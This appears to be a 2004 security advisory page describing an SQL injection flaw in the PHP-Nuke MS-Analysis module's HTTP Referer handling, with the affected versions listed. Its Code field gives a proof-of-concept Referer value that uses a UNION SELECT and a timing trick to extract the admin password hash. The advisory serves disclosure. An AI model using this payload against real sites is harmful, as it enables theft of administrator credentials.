exploits , vulnerabilities , articles , PHP-Nuke MS-Analysis Module HTTP Referrer Field SQL Injection Vulnerability

Title	PHP-Nuke MS-Analysis Module HTTP Referrer Field SQL Injection Vulnerability
Published	2004-03-22-12:00AM
Updated	2004-03-22-09:47PM
Class	Input Validation Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Janek Vind <come2waraxe@yahoo.com> is credited with the disclosure of these issues.
Vulnerable	MSAnalysis Website Traffic Analyzer 2.0 Francisco Burzi PHPNuke 6.5 Francisco Burzi PHPNuke 6.5 BETA 1 Francisco Burzi PHPNuke 6.5 FINAL Francisco Burzi PHPNuke 6.5 RC1 Francisco Burzi PHPNuke 6.5 RC2 Francisco Burzi PHPNuke 6.5 RC3 Francisco Burzi PHPNuke 6.6 Francisco Burzi PHPNuke 6.7 Francisco Burzi PHPNuke 6.9 Francisco Burzi PHPNuke 7.0 Francisco Burzi PHPNuke 7.0 FINAL
Not Vulnerable
Code	No exploit is required to leverage this issue. The following proof of concept outlines a 'Referer' field that is reported to be sufficient to leverage this issue: "http://www.example.com/search?q=Maty+Scripts%27UNION SELECT pwd from nuke_authors where name%3d%27God%27 AND IF(mid(pwd,1,1)%3d3,benchmark(150000,md5(1337)),1)/*" Where www.example.com must be a considered a considered a valid search engine by the MS-Analysis module.
TXT

Vulnerabilities - newest 10 RSS | More

• 2008-12-04 Rae Media Web Based Contact Management Login SQL Injection Vulnerability
• 2008-12-04 Nagios External Commands and Adaptive Commands Unspecified Vulnerability
• 2008-12-04 Z1Exchange SQL Injection and Cross Site Scripting Vulnerabilities
• 2008-12-04 mvnForum Cross Site Scripting Vulnerability
• 2008-12-04 i-Net Solution Orkut Clone SQL Injection and Cross Site Scripting Vulnerabilities
• 2008-12-04 Sun Java Runtime Environment and Java Development Kit Multiple Security Vulnerabilities
• 2008-12-04 Jbook SQL Injection Vulnerability
• 2008-12-04 SquirrelMail Malformed HTML Mail Message HTML Injection Vulnerability
• 2008-12-04 HP-UX Unspecified Local Denial Of Service Vulnerability
• 2008-12-04 Netrw Vim Script Information Disclosure Vulnerability

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Fri, 05 Dec 2008 17:13:22 +0000